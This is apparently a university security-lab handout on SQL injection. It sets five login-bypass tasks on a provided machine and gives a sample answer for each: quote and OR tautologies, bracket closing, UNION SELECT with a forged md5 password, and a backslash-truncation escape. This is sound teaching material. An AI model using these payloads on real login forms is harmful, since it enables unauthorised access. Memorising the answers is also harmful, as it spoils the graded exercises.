VULNERABILITIES SQL INJECTION [Link].
PL
Vulnerabilities
SQL Injection
POLISH-JAPANESE ACADEMY OF INFORMATION TECHNOLOGY
Class nr 10
Powered by HackingDept platform
s26772 2025-05-16 16:52:45
VULNERABILITIES SQL INJECTION POLISH-JAPANESE ACADEMY OF INFORMATION TECHNOLOGY [Link]
Contents
ENVIRONMENT
Starting Machines …………………..……….. 4
OpenVPN Connection ………………………. 5
TASKS
10.1 SQL Injection 1 …………….…….……. 7
10.2 SQL Injection 2 ……..……….…..……. 8
10.3 SQL Injection 3 ……………….……….. 9
10.4 SQL Injection 4 …………….….………. 10
10.5 SQL Injection 5 ……….…….…………. 11
2
s26772 2025-05-16 16:52:45
VULNERABILITIES SQL INJECTION [Link]
Environment
Preparation
POLISH-JAPANESE ACADEMY OF INFORMATION TECHNOLOGY
s26772 2025-05-16 16:52:45
VULNERABILITIES SQL INJECTION POLISH-JAPANESE ACADEMY OF INFORMATION TECHNOLOGY [Link]
Starting Machines
Before you begin, make sure the WEB - SQL INJECTION machine is turned on.
If something breaks, you can restore it to its original state at any time.
4
s26772 2025-05-16 16:52:45
VULNERABILITIES SQL INJECTION POLISH-JAPANESE ACADEMY OF INFORMATION TECHNOLOGY [Link]
OpenVPN Connection
An OpenVPN connection is necessary to solve the tasks.
To connect to a VPN, you must download the OpenVPN configuration file
from the "VPNs" drop-down menu on the home page.
Then execute the command:
sudo openvpn /path/to/[Link]
Attention! All tasks from this document are performed on a machine. EXERCISES.
5
s26772 2025-05-16 16:52:45
VULNERABILITIES SQL INJECTION [Link]
Tasks
POLISH-JAPANESE ACADEMY OF INFORMATION TECHNOLOGY
s26772 2025-05-16 16:52:45
VULNERABILITIES SQL INJECTION POLISH-JAPANESE ACADEMY OF INFORMATION TECHNOLOGY [Link]
Task 10.1: SQL 1
The first task is basic SQL Injection,
consisting of injecting a special character ', which will end the string and enable
the injection of additional logic.
Example solutions:
' or '1'='1
' or 1-- x
' or 1#
7
s26772 2025-05-16 16:52:45
VULNERABILITIES SQL INJECTION POLISH-JAPANESE ACADEMY OF INFORMATION TECHNOLOGY [Link]
Task 10.2: SQL 2
The second task is to additionally close the bracket ) . You need to inject special
characters '), which will end the string and allow you to inject additional logic.
Example solutions:
') or (username='admin
') or username='admin'-- x
') or username='admin'#
8
s26772 2025-05-16 16:52:45
VULNERABILITIES SQL INJECTION POLISH-JAPANESE ACADEMY OF INFORMATION TECHNOLOGY [Link]
Task 10.3: SQL 3
The third task is identical to the previous one, except that the database is empty.
This requires the use of the UNION SELECT technique, which will return data from
the query that does not originally exist in the database.
Example solutions:
') union select ('admin
') union select 'admin'-- x
') union select 'admin'#
9
s26772 2025-05-16 16:52:45
VULNERABILITIES SQL INJECTION POLISH-JAPANESE ACADEMY OF INFORMATION TECHNOLOGY [Link]
Task 10.4: SQL 4
The fourth task, like the previous one, requires the use of the UNION SELECT
technique, which will return a NEW (non-existent in the database) admin user with
an md5 hash of his password from the query. php code after finding an existing
user in the database, it counts the md5 hash from the entered one in the password
form and compares it with the one returned from the database - both must be
identical, but we also control both!
Sample Solution:
Username:
" union select "admin",md5("x")#
Password: x
10
s26772 2025-05-16 16:52:45
VULNERABILITIES SQL INJECTION POLISH-JAPANESE ACADEMY OF INFORMATION TECHNOLOGY [Link]
Task 10.5: SQL 5
The fifth task adds a slash \ before special characters (i.e. ', ", \), making them
normal characters inside the string, then truncates the entire string to 10
characters. To solve the problem, enter the \ character in the 10th position
in the username (it will be converted to \\) and use the fact that the username
is truncated to 10 characters (the safe string \\ will be truncated back
to the dangerous \ and escapes the next character - ' closing string!).
Sample solution:
Username: 123456789\
Password: or 1-- x
11
s26772 2025-05-16 16:52:45
VULNERABILITIES SQL INJECTION POLISH-JAPANESE ACADEMY OF INFORMATION TECHNOLOGY [Link]
Reference
[Link]
checking the type of database
[Link]
description of various SQL Injection attacks
[Link]
"cheat sheet" for SQL Injection attacks
12
s26772 2025-05-16 16:52:45
VULNERABILITIES SQL INJECTION POLISH-JAPANESE ACADEMY OF INFORMATION TECHNOLOGY [Link]
[Link]
End of exercise
POLSKO-JAPOŃSKA AKADEMIA TECHNIK KOMPUTEROWYCH
13
s26772 2025-05-16 16:52:45